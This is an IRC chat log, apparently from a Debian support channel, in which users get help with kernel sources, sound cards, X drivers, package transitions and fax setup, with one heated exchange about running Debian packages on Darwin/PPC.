| 20:58.35 | falco_toadfoot | Spec: I tried that....but that'd remove gnome ;) |
| 20:58.39 | bitmonk | then give us the url |
| 20:58.40 | Spec | whaa? |
| 20:58.53 | igge | what is the font that is used in xterm called? |
| 20:58.57 | bitmonk | dondelcaro: no ideas? :) |
| 20:58.58 | stew | Whisky`: dude trust me, you aren't going to get help in here, i'm just trying to tell you where you might be able to, as the abi transision is going on the chances of those packages working on sarge is getting worse by the moment |
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| 20:59.03 | greycoin | dodelelcaro: well, as far as I know, I installed and am running 3.1 |
| 20:59.14 | toonX | i am trying to install cdemu ( to be able to mount bin/cue images ) but it seems it needs teh source for teh kernel i am using , so i installed the source with apt-get but i don't have a "build" directory in /lib/modules/`uname -r`/ , wich should point to the kernel source i have in /usr/src , well this is all a bunch of crap , but it seems cdemu won't install without solving it |
| 20:59.17 | Spec | igge: terminal or system |
| 20:59.23 | dondelelcaro | greycoin: well, you're clearly not. use the paster bot to paste the output of apt-cache policy; |
| 20:59.25 | Whisky` | stew, k, sorry =) |
| 20:59.26 | dondelelcaro | !tell greycoin -about paster |
| 20:59.34 | igge | Spec: ok thanks.. |
| 20:59.39 | falco_toadfoot | Spec: The following packages will be REMOVED: |
| 20:59.40 | falco_toadfoot | <PROTECTED> |
| 20:59.53 | Spec | falco_toadfoot: well, that's certaintly annoying :p |
| 21:00.03 | LSorensen | falco_toadfoot: running sid? |
| 21:00.07 | falco_toadfoot | LSorensen: yes |
| 21:00.10 | falco_toadfoot | Spec: yes.. |
| 21:00.11 | Spec | well then |
| 21:00.13 | Spec | that answers that! |
| 21:00.14 | dondelelcaro | bitmonk: the requirement is there because depbootstrap actually needs to be able to run the linux binaries to complete the install. |
| 21:00.15 | Spec | no help for you |
| 21:00.24 | falco_toadfoot | curious.. |
| 21:00.31 | LSorensen | falco_toadfoot: well then 'duh!' :) sid is transitioning to a new c++ AVI. many things can't currently upgrade/install |
| 21:00.36 | jasoncohen | dondelelcaro, why would /dev/mapper/casper-cow (the live cd partition on RAM) have anything to do with resizing /dev/hda4 which is unmounted?" |
| 21:00.40 | dondelelcaro | bitmonk: since those binaries almost definetly won't run on OSX, it's not going to complete. |
| 21:00.44 | igge | Spec: hm.. but how come I can't choose it in other gtk apps? |
| 21:00.47 | paster | "greycoin" at 200.164.55.178 pasted "output of apt-cache policy" (78 lines) at http://channels.debian.net/paste/399 |
| 21:00.49 | LSorensen | falco_toadfoot: I would be surprised if a fresh install of sid was possible at the moment |
| 21:00.52 | bitmonk | dondelcaro: i can't build these binaries for darwin/ppc ? |
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| 21:01.00 | falco_toadfoot | LSorensen: thank you |
| 21:01.03 | Spec | igge: I'm not sure, it's either terminal or system though, as far as I know |
| 21:01.03 | bitmonk | the .debs |
| 21:01.07 | LSorensen | falco_toadfoot: I think it's in the topic too. |
| 21:01.12 | igge | ok |
| 21:01.15 | LSorensen | falco_toadfoot: I am amazed my sid system isn't dead yet :) |
| 21:01.21 | Trewas | ftp-master move had to happen in pretty farking annoying moment |
| 21:01.28 | tarvok | bitmonk: pastebin.org seems to be a squatter site... |
| 21:01.32 | greycoin | dondelelcaro: there |
| 21:01.33 | LSorensen | falco_toadfoot: it does have a bunch of packages it won't upgrade yet due to c++ lib problems |
| 21:01.42 | Trewas | not to say it was supposed to come back online last monday but nothing new has been announced yet... |
| 21:01.45 | bitmonk | dot-com |
| 21:01.50 | bitmonk | :) |
| 21:01.50 | dondelelcaro | greycoin: uh, you're running some ungodly analglamation of sarge packages and other random stuff you've installed. |
| 21:01.51 | LSorensen | Trewas: how so? nothing c++ works right now anyhow |
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| 21:02.07 | falco_toadfoot | LSorensen: nothing'll upgrade here either |
| 21:02.18 | toonX | so, any ideas why i don't get a "build" directory in /lib/modules/`uname -r`/ after installing the kernel source with apt-get ? (wich i need in order to install cdemu) |
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| 21:02.22 | Trewas | LSorensen: things might improve if new packages would get to unstable |
| 21:02.29 | dondelelcaro | greycoin: there's no way in hell we can support that; either run just a straight sarge isntall without trying to use someone's unnofifical k3b binaries which are utterly broken; or ask the vendor of those packages for support. |
| 21:02.46 | Spec | toonX: look in /usr/local/src or /usr/src for the kernel source.... |
| 21:02.54 | tarvok | bitmonk: pasted |
| 21:02.55 | LSorensen | Trewas: I actually thought the move was done but I don't know that for sure |
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| 21:02.57 | valdyn | toonX: apt-get install kernel-headers-$(uname -r) <- headers are setup to build against by default, kernel-source packages are not. |
| 21:03.02 | LSorensen | Trewas: at least ftp.debian.org came back |
| 21:03.14 | bitmonk | tarvok: i need the pasted url ;) |
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| 21:03.26 | tarvok | http://pastebin.com/322824 |
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| 21:03.32 | greycoin | dondelelcaro: so what's the surest way do re-godize my install? formatting and re-installing everything? |
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| 21:03.51 | dondelelcaro | Trewas: there are no convenient times for such a transition; but regardless we didn't have a choice. |
| 21:04.04 | toonX | valdyn gotcha, thanks dude |
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| 21:04.25 | [GABRI] | any people have cpufreq with amd mobile sempron? |
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| 21:04.56 | tarvok | bitmonk: http://pastebin.com/322824 (just in case you missed it because I forgot to include your name) |
| 21:05.04 | dondelelcaro | Trewas: in any case, the transition has happend, and raff and samosa are back up and running. |
| 21:05.11 | bitmonk | tarvok: okay, now run: ls -lR /lib/modules/`uname -r`/ > /tmp/mods.txt |
| 21:05.16 | bitmonk | and pastebin the contents of mods.txt |
| 21:05.22 | Trewas | dondelelcaro: that's nice to hear :) |
| 21:05.24 | valdyn | !tell [GABRI] about ask |
| 21:05.24 | Jelte | hi there... i want to start a daemon manually, but I'd like to have the respawn functionality of inittab. Ie if it crashes i want it to be restarted automatically... is there anything but inittab to do that? |
| 21:05.32 | dondelelcaro | [GABRI]: again; ask your actuall question. If you repeat that again without asking the actual question, you will be devoiced. |
| 21:05.37 | bitmonk | dondelcaro: so i'm nuts, then? :) |
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| 21:05.47 | bitmonk | to be needink bochs? |
| 21:05.49 | dondelelcaro | bitmonk: what exactly are you trying to do anyway? |
| 21:05.53 | Assid | can someone help me.. i keep getting this error |
| 21:05.54 | Assid | vfs: cannot open root device "2105" or unknown-block(33,5) |
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| 21:06.07 | [GABRI] | what module is in cpu scaling for amd mobile sempron? |
| 21:06.08 | dondelelcaro | Assid: you've specified the wrong root device |
| 21:06.11 | bitmonk | dondelcaro: i'm trying to set up a woody-ish testbed for gnu savannah |
| 21:06.20 | Vibhuti | hhow di i find the video card's busid |
| 21:06.29 | dondelelcaro | bitmonk: and why not just run it on woody? |
| 21:06.36 | Vibhuti | if video card is an integrated one |
| 21:06.40 | opie | i have two debian sarge boxes with std lynx pkg (2.8.5-2), and for some reason, lynx is ignoring the URL argument to the command; i.e., lynx -dump http://www.google.com anyone seen this? |
| 21:06.41 | dondelelcaro | (or run it on something that can actually run linux binaries?) |
| 21:06.48 | valdyn | Vibhuti: lspci |
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| 21:06.59 | valdyn | Vibhuti: but, you likely dont need the busid |
| 21:07.16 | Bigup_hpc | someone had this problem : i dont have any available keymaps anymore, Xorg says "coulnd load keymap, falling back to pre-XKB keymap" et "Couldn't compile keymap file" i have good rigths and xkbcomp installed ....? |
| 21:07.17 | bitmonk | dondelcaro: my laptop does not run woody, it runs darwin for ppc |
| 21:07.22 | Vibhuti | yes how ever in dpkd-reconfigure xserver-xfree86 it is not gettin configured |
| 21:07.34 | [GABRI] | what module is in cpu scaling for amd mobile sempron |
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| 21:07.42 | bitmonk | i don't think that savane depends on the linux kernel in any way, only on the configuration of software available specifically in woody |
| 21:07.44 | Whisky` | !seen ehamberg |
| 21:07.47 | bitmonk | i guess i might as well just run bochs, as i said |
| 21:07.50 | dpkg | ehamberg <~ehamberg@35.80-202-210.nextgentel.com> was last seen on IRC in channel #debian, 235d 11h 2m 1s ago, saying: 'burnez: Feed the url to mplayer with -dumpstream or install streamripper.'. |
| 21:07.53 | bitmonk | its just.. a pita. |
| 21:07.53 | Whisky` | =p |
| 21:07.55 | valdyn | Vibhuti: you can leave busid empty there.. |
| 21:07.56 | bitmonk | it's no plex86 |
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| 21:08.12 | valdyn | Vibhuti: also, read the comment on top of /etc/X11/XF86Config-4 ( or xorg.conf ) |
| 21:08.13 | Vibhuti | if i leave empty it is not working |
| 21:08.13 | dondelelcaro | [GABRI]: cpufreq, just like everything else. |
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| 21:08.26 | Whisky` | damn 235 days :| |
| 21:08.29 | Vibhuti | startx command yeilds taht error |
| 21:08.37 | bitmonk | also, i could get savannah running on osx, but i dont want it controlling my local users, groups, and home directories.. |
| 21:08.42 | valdyn | Vibhuti: that does certainly not mean 'its not working b/c you left it empty' |
| 21:08.49 | dondelelcaro | bitmonk: uh... that's kind of the point of savannah. |
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| 21:09.00 | stew | [GABRI]: powernowd-k7 or something, i think |
| 21:09.04 | Vibhuti | il tellu the error in log file |
| 21:09.08 | bitmonk | dondelcaro: i'm not trying to run a savannah site, i'm trying to set up a testbed for supporting it |
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| 21:09.20 | bitmonk | so i don't want it, for instance, erasing my home folder |
| 21:09.24 | tosh | im logged in on my server using ssh and X forwarding, any way of launching an x-application, closing it on the client but still leaving it run on the server? |
| 21:09.29 | bitmonk | which it has been known to do to people who run it on their desktop ;) |
| 21:09.36 | dondelelcaro | bitmonk: you realize you can dual boot, right? regardless, any testing that you do on !linux will be rather useless for testing savannah. |
| 21:09.41 | bitmonk | dondelcaro: that's convenient. |
| 21:09.50 | Assid | dondelelcaro: i did mention the right one |
| 21:09.51 | valdyn | tosh: no, not this way, vncserver can do something similar. |
| 21:09.53 | dondelelcaro | why in $DEITY's name would someone run savannah on their desktop? |
| 21:09.55 | Assid | but.. it still doesnt catch |
| 21:09.57 | bitmonk | dondelcaro: how so? does php react significantly differently? |
| 21:10.04 | bitmonk | dondelcaro: because they need to support it and don't have a spare machine? |
| 21:10.07 | Dinuir | Newbie question - I installed Sarge last night (Net install) but could not connect to internet to install packages. Anyone know how to rerun the package install (got internet work now)? I only have command line linux with no packages |
| 21:10.07 | [GABRI] | mm stew look this |
| 21:10.10 | bitmonk | s/need/want/g |
| 21:10.11 | Vibhuti | assigning device section with no bus id |
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| 21:10.13 | dondelelcaro | bitmonk: that's fine; run it in a chroot. |
| 21:10.15 | [GABRI] | powernow-k8: Found 1 AMD Athlon 64 / Opteron processors (version 1.00.09e) |
| 21:10.16 | [GABRI] | powernow-k8: BIOS error: maxvid exceeded with pstate 0 |
| 21:10.21 | bitmonk | dondelcaro: that's exactly what im trying to do!!! |
| 21:10.24 | bitmonk | lol |
| 21:10.24 | Vibhuti | tpo primary device |
| 21:10.26 | [GABRI] | mm stew this is the error |
| 21:10.45 | dondelelcaro | bitmonk: yes, but you're running it on !linux; which is unlikely to work at all. |
| 21:10.48 | Vibhuti | valdyn |
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| 21:11.04 | bitmonk | dondelcaro: well, that's not true, savannah works just fine on any platform, but the install instructions apply only to debian woody. |
| 21:11.14 | tosh | valdyn ill check it out, thanks |
| 21:11.21 | valdyn | Vibhuti: that doesnt look like an error. |
| 21:11.21 | tarvok | bitmonk: And Tarvok has a great yawning moment of "duh" and opens the file in gedit. http://pastebin.com/322832 |
| 21:11.22 | dondelelcaro | bitmonk: well, then why are you bugging us about it? |
| 21:11.35 | valdyn | Vibhuti: grep EE /var/log/XFree86.0.log |
| 21:11.38 | bitmonk | dondelelcaro: because it's a PITA and i'd rather have a debian chroot |
| 21:11.46 | Vibhuti | (EE)no devices detected |
| 21:11.52 | bitmonk | there's no reason it shouldn't be possible, although i may need to build a crapload of packages, often, for myself |
| 21:12.04 | Vibhuti | i have an 915 motherboard |
| 21:12.10 | [GABRI] | mmm stew |
| 21:12.10 | valdyn | Vibhuti: right, so your devicve is not supported by the driver you are using. |
| 21:12.17 | bitmonk | i was just looking for a bit of support and guidance |
| 21:12.19 | bitmonk | but, as i said, i guess i'm just crazy |
| 21:12.20 | dondelelcaro | bitmonk: the reason it's not possible is because you can't run debian packages on architectures and kernels that Debian does not support. |
| 21:12.23 | bitmonk | i'll go back to setting up a VM |
| 21:12.24 | Vibhuti | i select in configuration i810 |
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| 21:12.32 | tarvok | bitmonk: what is all that, anyway? |
| 21:12.39 | dondelelcaro | bitmonk: if you want to run Debian, that's what you have to do; if you don't want to run Debian, it has nothing to do with us. |
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| 21:12.50 | valdyn | Vibhuti: grep i810 /etc/X11/XF86Config-4 |
| 21:12.55 | Vibhuti | at places it is said they support 915 at places not |
| 21:12.55 | bitmonk | dondelelcaro: stop being a jackass. |
| 21:13.27 | [GABRI] | mm stew |
| 21:13.33 | bitmonk | there is no reason that an interested party couldn't add support to debian for a platform |
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| 21:13.51 | bitmonk | but they might decide that contributing to an unreceptive community is in vain |
| 21:14.00 | dondelelcaro | bitmonk: yes; but that would require actually making a port; it's non-trivial. |
| 21:14.01 | stew | [GABRI]: i have no idea |
| 21:14.06 | Vibhuti | driver "i810" |
| 21:14.12 | bitmonk | dondelelcaro: stop calling me stupid. |
| 21:14.14 | bitmonk | :) |
| 21:14.16 | [GABRI] | thanks |
| 21:14.17 | bitmonk | iknow it's non-trivial |
| 21:14.20 | bitmonk | i came to ask if: |
| 21:14.23 | bitmonk | (a) it is impossible |
| 21:14.28 | TheAsp | waitwaitwait |
| 21:14.31 | bitmonk | (b) it is nearly impossible |
| 21:14.36 | TheAsp | you want us to support running debian in a chroot on osx? |
| 21:14.43 | bitmonk | (c) i could get some pointers on where to start |
| 21:14.46 | valdyn | Vibhuti: try vesa, or try xorg, or ask someone who knows about your chipset, cant help you, its obviously not supported by i810 however. |
| 21:14.56 | bitmonk | TheAsp: I might just support it |
| 21:15.00 | Vibhuti | ok |
| 21:15.06 | bitmonk | and it only has to be supported insofar as gnu/darwin running on ppc |
| 21:15.09 | TheAsp | bitmonk: but, that wouldn't be "debian" |
| 21:15.10 | dondelelcaro | bitmonk: please stop overusing enter; I'm glad to help you get started on it; but I'd be misleading you if I didn't explain exactly where the issues are with it. |
| 21:15.11 | Vibhuti | thks valdyn |
| 21:15.13 | donkeykicker | how can I rebuild /etc/exim4/conf dir? I rm 'd it to start fresh, but apt-get reinstall didn't replace it... |
| 21:15.14 | bitmonk | osx or not is irrelevant |
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| 21:16.10 | TheAsp | bitmonk: can you use something like vmware? |
| 21:16.14 | Vibhuti | valdyn ur smart |
| 21:16.17 | Vibhuti | ur great |
| 21:16.22 | bitmonk | TheAsp: yes, and that would suck. |
| 21:16.24 | Vibhuti | glory to valdyn |
| 21:16.26 | bitmonk | in fact, it does. |
| 21:16.30 | Vibhuti | he has done it |
| 21:16.34 | Vibhuti | great |
| 21:16.38 | dondelelcaro | bitmonk: from a DD standpoint, there isn't much interest in supporting Darwin because the kernel itself isn't DFSG free; such a thing will never be part of the Debian project itself. Since it is very trivial to run OSX inside of mol; most people haven't bothered to do anythign about it. |
| 21:16.49 | Vibhuti | valdyn r u there |
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| 21:17.02 | bitmonk | okay dude whatever |
| 21:17.08 | bitmonk | i'm not asking anyone to "support" anything |
| 21:17.12 | dondelelcaro | Vibhuti: please stop overusing enter; It would also help if you would use real english words. |
| 21:17.13 | bitmonk | im just asking for information |
| 21:17.23 | Thanatermesis | "abuse" package not are in testing ??? o_O I have installed this in woody before days... |
| 21:17.33 | Vibhuti | anyways thks dude |
| 21:17.36 | bitmonk | i'll write a doc for fink |
| 21:17.47 | dondelelcaro | bitmonk: good luck. |
| 21:17.47 | bitmonk | the attitude of the debian community effing drove me to buy a mac in the first place, after nearly ten yr. |
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| 21:18.10 | TheAsp | heh |
| 21:18.18 | FarrisG | Anyone here using a Radeon 9800? |
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| 21:18.26 | dondelelcaro | FarrisG: just ask your question |
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| 21:19.31 | tarvok | Bitmonk abandoned me! |
| 21:19.32 | FarrisG | Has anyone had freezeup problems when switching modes (e.g., switching from tty to X) with a 9800 Pro? |
| 21:19.47 | Jimmy-HPC_ | what servers/daemons need to be running for debmirror to work right? |
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| 21:20.11 | FarrisG | I've encountered the same problem with three identical cards, so the problem is either driver related, or my AGP/mobo is screwed up |
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| 21:20.34 | Thanatermesis | "abuse" are in stable and in unstable... how to posible not are in testing? Im not understand... |
| 21:20.35 | TheAsp | FarrisG: why do you keep buying ati's? |
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| 21:21.16 | tarvok | Can anybody else help me get my sound started? All sound players say I have no sound output. I've got an old Soundblaster 64 installed here. |
| 21:21.18 | zinx | FarrisG: are you using the framebuffer console? |
| 21:21.46 | dondelelcaro | Thanatermesis: it's possible that it was removed from testing |
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| 21:21.51 | dondelelcaro | !info abuse testing |
| 21:21.59 | dondelelcaro | !+info abuse testing |
| 21:22.01 | dpkg | Package 'abuse' does not exist. |
| 21:22.11 | dondelelcaro | !why is abuse not in testing |
| 21:22.12 | dpkg | abuse is not in testing for the reasons listed in http://bjorn.haxx.se/debian/testing.pl?package=abuse |
| 21:22.18 | Jimmy-HPC_ | tarvok: is your sound card PCI? |
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| 21:22.26 | Rabbitt | lo? |
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| 21:22.40 | tarvok | Jimmy-HPC_: Actually, it's ISA! |
| 21:22.50 | Jimmy-HPC_ | hahaha |
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| 21:22.57 | Jimmy-HPC_ | thats what I thought |
| 21:23.16 | tarvok | Jimmy-HPC_: Let me guess. Debian can't detect an ISA card. |
| 21:23.16 | Jimmy-HPC_ | tarvok: well is it ISA PnP or manually configured? |
| 21:23.22 | zophyx | i tried to install a deb from unstable into a sarge system but the dependencies prevent this, i can't install the original sarge package now because of the error that the new package is selected to be installed, how do i correct this ? |
| 21:23.28 | FarrisG | TheAsp: They've always worked well for me |
| 21:23.34 | Jimmy-HPC_ | tarvok: No I just laugh because I thought no one used ISA anymore |
| 21:23.41 | FarrisG | zinx: I'm really not sure |
| 21:23.46 | tarvok | Jimmy_HPC_: PnP. Windows detects it fine. |
| 21:23.52 | Rabbitt | anywone here ever managed to get lvm2 working with the 2.6.11 kernel ? |
| 21:24.03 | Thanatermesis | dondelelcaro, how to posible ? Im not understand the reason... |
| 21:24.08 | RedDrake | nn all |
| 21:24.13 | Jimmy-HPC_ | tarvok: Yes you can get this soundcard to work in linux, what version of the kernel are you using? |
| 21:24.22 | zinx | FarrisG: if you are, disable it |
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| 21:24.44 | dondelelcaro | Thanatermesis: eh? packages get removed from testing all the time; most often because they have RC bugs that are not being addressed properly by the maintainers or other interested parties. |
| 21:24.46 | zinx | FarrisG: fbcon and fglrx don't play nice with each other, and i wouldn't doubt radeon not playing nice with fbcon either |
| 21:24.49 | tarvok | Jimmy-HPC_: I'm pretty sure it's 2.4. Whatever is installed in a standard Sarge installation. |
| 21:24.58 | dondelelcaro | Thanatermesis: the package will be readded to testing when the conditions shown on that page are satisfied. |
| 21:25.00 | Unified | is it possible to damage hardware because of wrong configuration in linux? to be specific: the outs from soundcards? |
| 21:25.09 | dddss | apt-file update |
| 21:25.09 | dddss | sh: curl: command not found |
| 21:25.09 | dddss | <PROTECTED> |
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| 21:25.19 | zinx | Unified: on some cards, yes |
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| 21:25.35 | zinx | Unified: some cards use mic-in as line-out too |
| 21:25.47 | dondelelcaro | Thanatermesis: see http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=188448 |
| 21:25.50 | Unified | zinx notebook line-out? (intel hda) |
| 21:25.51 | zinx | Unified: if you try sending signal to a mic, it can very well damage it.. |
| 21:25.53 | donkeykicker | dddss: apt-get install curl |
| 21:25.53 | bsims | Question if I want to use a AMD64 processor but don't wanna go 64bit do I use the k7 kernels? |
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| 21:26.05 | Jimmy-HPC_ | tarvok: ok, checking kernel configs here to see what you need to have turned on, but generally you have to ISA sound card support on and alsa or oss support for that particular card turned on either as modules or build statically into the kernel |
| 21:26.06 | dddss | thanks |
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| 21:26.22 | NOthsouth | Hello, I'm trying to create a new shared folder with samba... But when I try to write on the shared directory on windows2000 i can't... |
| 21:26.28 | Rabbitt | anywone here ever managed to get lvm2 working on boot, such that the volumes were actually seen during boot..? |
| 21:26.29 | tosh | do I need to remove the -notcp option when starting X to get vncserver running? |
| 21:26.31 | ssb | dondelelcaro, two hours passed and my messages still not in bugreport, should i resend them? |
| 21:26.32 | dondelelcaro | dddss: apt-get install curl; |
| 21:26.46 | tarvok | Jimmy-HPC_: God I'm such a newb. |
| 21:26.47 | dondelelcaro | ssb: no, the bts is currently digging its way out of a pile of spam. |
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| 21:27.05 | tarvok | Jimmy-HPC_: I hope one day to be answering questions here. |
| 21:27.10 | Kryptech | As a general developer of open source apps, is it a good move to update from sarge to sid? |
| 21:27.13 | Jimmy-HPC_ | tarvok: Its cool, not hard to get this stuff working, I'm checking the kernel config to see what specifically needs to be turne don |
| 21:27.23 | ssb | ok, i'll wait untill tomorrow :) |
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| 21:28.22 | tarvok | On the note of newbness, can anyone recommend a well written book to get me understanding the fundamentals? |
| 21:28.38 | Jimmy-HPC_ | tarvok: are you familiar with the kernel configuration procedure? |
| 21:28.44 | dondelelcaro | Kryptech: generally, if you have to ask; we recommend staying with sarge; however, if you're capable of dealing with breakage, the choice is yours. |
| 21:28.48 | tarvok | Jimmy-HPC_: No. |
| 21:29.09 | Thanatermesis | thanks dondelelcaro |
| 21:29.18 | Jimmy-HPC_ | tarvok: Ok, well want to get a crash course in it? If your machine is mission critical you might not want to do this |
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| 21:29.24 | donkeykicker | how can I rebuild /etc/exim4/conf dir? I rm 'd it to start fresh, but apt-get reinstall didn't replace it... |
| 21:29.30 | Kryptech | dondelelcaro: what kind of breakage, kernel panics? random gnome crashes sending you back to console screen? what? |
| 21:29.37 | tarvok | Jimmy-HPC_: I'm a hobbyist. I've been installing and deleting on a regular basis. :) |
| 21:29.41 | dondelelcaro | donkeykicker: you need to use --conf-miss |
| 21:29.47 | dondelelcaro | s/conf-miss/force-confmiss/ |
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| 21:30.00 | dondelelcaro | Kryptech: you name it, it can happen in sid. |
| 21:30.18 | ssb | Kryptech, http://bugs.debian.org/155873 |
| 21:30.24 | dondelelcaro | !dbugs 155873 |
| 21:30.26 | Kryptech | dondelelcaro: okay, thanks. I'll think about it for a while |
| 21:30.29 | dpkg | #155873:N[lg-all] Dangerious Error in lg-all Package Thu, 8 Aug 2002 05:48:05 UTC |
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| 21:30.40 | Jimmy-HPC_ | tarvok: alright lets give this a try then, first of all you have to confirm that you nave kernel source installed, ls /usr/src/linux and see what you get |
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| 21:31.02 | ZeroXp | k mierdad |
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| 21:31.13 | ZeroXp | cuanta gente usa debian |
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| 21:31.26 | tarvok | Jimmy-HPC_: Heh, "no such file or directory" |
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| 21:31.30 | Jimmy-HPC_ | tarvok: if there are indeed files in there, then cd into it as root and type 'make menuconfig' |
| 21:31.34 | Jimmy-HPC_ | ahh ok |
| 21:31.36 | dddss | how much download with apt-file update=? |
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| 21:31.48 | Jimmy-HPC_ | tarvok: you have to download the kernel source |
| 21:31.57 | dondelelcaro | dddss: it downloads the contents files, which are relatively large. |
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| 21:32.11 | tarvok | Jimmy-HPC_: Hmm... it seems like there ought to be an easier way to get a sound card working... but I'm up for this. |
| 21:32.12 | dddss | relatively means? |
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| 21:32.32 | dddss | and i want to remove it after? |
| 21:32.35 | Jimmy-HPC_ | tarvok: there is no other way |
| 21:32.36 | dddss | if* |
| 21:32.44 | Jimmy-HPC_ | yhaha |
| 21:32.45 | covux | hi. is there a way to get the integrated documentation (html,php,css) in quanta as debian package? |
| 21:32.54 | FarrisG | zinx: Can you help me figure out how to determine if I am using fbcon? |
| 21:32.59 | dondelelcaro | dddss: you don't remove it. If you care about the size, just use packages.debian.org or dpkg (the bot) |
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| 21:33.31 | jclinton | any debian testing users here? (ethc) |
| 21:33.34 | jclinton | etch* |
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| 21:33.48 | dondelelcaro | !tell jclinton -about ask |
| 21:33.48 | gusar | Anyone in here with experience using quagga? |
| 21:33.55 | dondelelcaro | !tell gusar -about ask |
| 21:34.05 | tarvok | Jimmy-HPC_: Is this something I do in Synaptic? I found something called "kernal_headers..." |
| 21:34.12 | gusar | ok |
| 21:34.15 | FarrisG | lsmod does list fbcon. Will a simple "rmmod fbcon" do the trick? |
| 21:34.28 | jclinton | has debian testing had any updates in the last week? |
| 21:34.37 | dondelelcaro | jclinton: not since friday, no. |
| 21:34.46 | dondelelcaro | jclinton: they will start happening today though. |
| 21:34.50 | jclinton | security.ftp.at.debian.org has had some updates but i haven't seen anything in awhile |
| 21:35.02 | jclinton | ok where they held back by something, dondelelcaro? |
| 21:35.15 | dondelelcaro | jclinton: yes, newsamosa and newraff were being moved. |
| 21:35.18 | Jimmy-HPC_ | tarvok: not familiar with synaptic... The kernel config is where you select drivers and enable hardware support for certain things |
| 21:35.29 | jclinton | dondelelcaro: ok thank you |
| 21:35.35 | TheAsp | hmmm |
| 21:35.39 | gusar | I need help on how to setup my router to use RIPv2 with quagga. Anyone that can give me some guide lines on how to do it or show me where to find some good info on it? |
| 21:35.45 | tarvok | Jimmy-HPC_: I meant for downloading the source. I'm guessing here. Where do I get it? Where do I put it? |
| 21:35.46 | Jimmy-HPC_ | tarvok: I'm looking at stock debian kernel configs here and they don't appear to have ISA support enabled |
| 21:35.46 | gusar | better dondelelcaro? =) |
| 21:36.10 | dddss | wich obex package i need for bluetooth? |
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| 21:36.16 | Jimmy-HPC_ | tarvok: kernel source can be downloaded using apt-get source kernel |
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| 21:36.29 | Jimmy-HPC_ | tarvok: but I don't remember if that is exactly the right command |
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| 21:36.50 | tarvok | Jimmy-HPC_: E: Unable to find a source package for kernal... |
| 21:37.12 | Jimmy-HPC_ | tarvok: let me check to see what the right command is |
| 21:37.37 | Jimmy-HPC_ | tarvok: found it! |
| 21:37.45 | tarvok | Jimmy-HPC_: Excellent! |
| 21:37.56 | Jimmy-HPC_ | tarvok: "apt-get source kernel-source-2.4.26" |
| 21:38.11 | TheAsp | Has anyone been able to get get delay and repeat working with lirc using the dev/input driver? The repeat rate on my ati remote is slightly too fast, but I can't get lirc to behave. I still want to use the stock kernel driver though. |
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| 21:38.22 | Phroziac | hey, i know you're gonna laugh about this, but i need a debian boot floppy. i've looked but i can't find it on the site. i'm assuming theres also a nice howto to go with it somewhere? I'm installing debian on an older box. |
| 21:38.38 | TheAsp | wow |
| 21:38.39 | TheAsp | floppies |
| 21:38.49 | abrotman | !sarge bf |
| 21:38.49 | dpkg | somebody said sarge floppies was http://ftp.debian.org/debian/dists/sarge/main/installer-i386/current/images/floppy/ or substitue your arch for i386 |
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| 21:39.00 | Phroziac | thanks :) |
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| 21:39.25 | Phroziac | actually, it's not that it can't boot off a cd. it's that it can't remember the bios settings because the battery holder is broken. so i can't make it boot off a cd. |
| 21:39.33 | tarvok | Jimmy-HPC_: I see in Synaptic an installed kernal-image-386-2.4.27-10. Would I use 2.4.27 instead? |
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| 21:39.41 | abrotman | Phroziac: spend $2 .. get a battery |
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| 21:39.56 | Gospel | hi everyone |
| 21:40.02 | TheAsp | Phroziac: duct tape. |
| 21:40.15 | abrotman | oh .. the holder |
| 21:40.16 | Phroziac | abrotman: i have a battery, the battery holder is broken. TheAsp heh. i tried super glue actually. |
| 21:40.17 | abrotman | solder! |
| 21:40.19 | Jimmy-HPC_ | tarvok: that is a kernel image, not source, and that probably won't allow you to install the necessary modules |
| 21:40.30 | Bac9 | anyone configured hylafax to recieve faxes and can help me set it up? |
| 21:40.31 | Jimmy-HPC_ | tarvok: yes get the newest possible stable release |
| 21:40.38 | Gospel | what causes "Disconnected (Remote host closed socket)." ? |
| 21:40.39 | abrotman | Bac9: i have .. but not in a while .. why ? |
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| 21:40.45 | dondelelcaro | everything can be solved by duct tape, solder, and aluminum foil |
| 21:40.49 | Phroziac | I had to pull the battery out when i got the box because it had a bios password, and i had to reset that. |
| 21:40.56 | abrotman | dondelelcaro: no crazy glue ? |
| 21:40.56 | Jimmy-HPC_ | anyone know how to setup a debian mirror |
| 21:41.00 | dondelelcaro | abrotman: nope |
| 21:41.00 | TheAsp | Phroziac: hook it up to a potato |
| 21:41.02 | Phroziac | heh |
| 21:41.07 | abrotman | some twine ? |
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| 21:41.21 | dondelelcaro | abrotman: crazy glue breaks down in > 80C temperatures |
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| 21:41.29 | Bac9 | abrotman: trying to set up silent answer/pickup, checked the docs, google and the mailing list, found several people with same question but no answer, can you help? |
| 21:41.31 | tarvok | Jimmy-HPC_: All right! Downloading. |
| 21:41.34 | dondelelcaro | abrotman: if you need glue, epoxy is the answer. |
| 21:41.37 | abrotman | heh |
| 21:41.51 | abrotman | Bac9: silent .. as in no rings .. or no modem volume ? |
| 21:42.11 | Bac9 | abrotman: as in no pickup unless it's a fax call |
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| 21:42.22 | abrotman | Bac9: oh .. you mean a special ring ? |
| 21:42.29 | abrotman | Bac9: i have my own line for fax |
| 21:42.40 | Lin | quit |
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| 21:43.17 | abrotman | Bac9: a little more description please |
| 21:43.43 | Bac9 | abrotman: no special ring, just one line, one phone number, but when a sender dials it sends tones down the line to get the reciever to pick up, and faxmachines do, but how to set that up with a faxmodem and hylafax? |
| 21:43.56 | Jimmy-HPC_ | tarvok: good deal, after it is finished downloading it should appear in /usr/src/, tar xvjpf the .bz2 file that appears and then while still in that directory 'ln -s linux-source-2.4.27 linux' |
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| 21:44.01 | abrotman | Bac9: oh .. you just want it to pick up *every* time |
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| 21:44.13 | Bac9 | abrotman: nope, only when those tones are there |
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| 21:44.26 | abrotman | Bac9: uhm .. well .. ok |
| 21:44.50 | Bac9 | abrotman: have a faxmodem+answering machine, I only want the faxmodem to pick up on faxes and let the rest go through to answering machine |
| 21:45.22 | abrotman | Bac9: do you know the term for the special noises ? |
| 21:46.02 | Bac9 | abrotman: have no clue, the closest term I've seen for this was either "silent answer" or "silent pickup", I haven't a clue for the official name |
| 21:46.27 | abrotman | Bac9: http://www.hylafax.org/HylaFAQ/Q334.html |
| 21:46.27 | tarvok | Jimmy-HPC_: Hmm... there doesn't seem to be anything in /usr/src... |
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| 21:46.30 | abrotman | Bac9: sound like that ? |
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| 21:47.16 | abrotman | Bac9: or http://www.hylafax.org/HylaFAQ/Q338.html |
| 21:47.20 | Bac9 | abrotman: nope, adaptive answer actually picks up the line so if it's a voice call the answering machine will never pick it up |
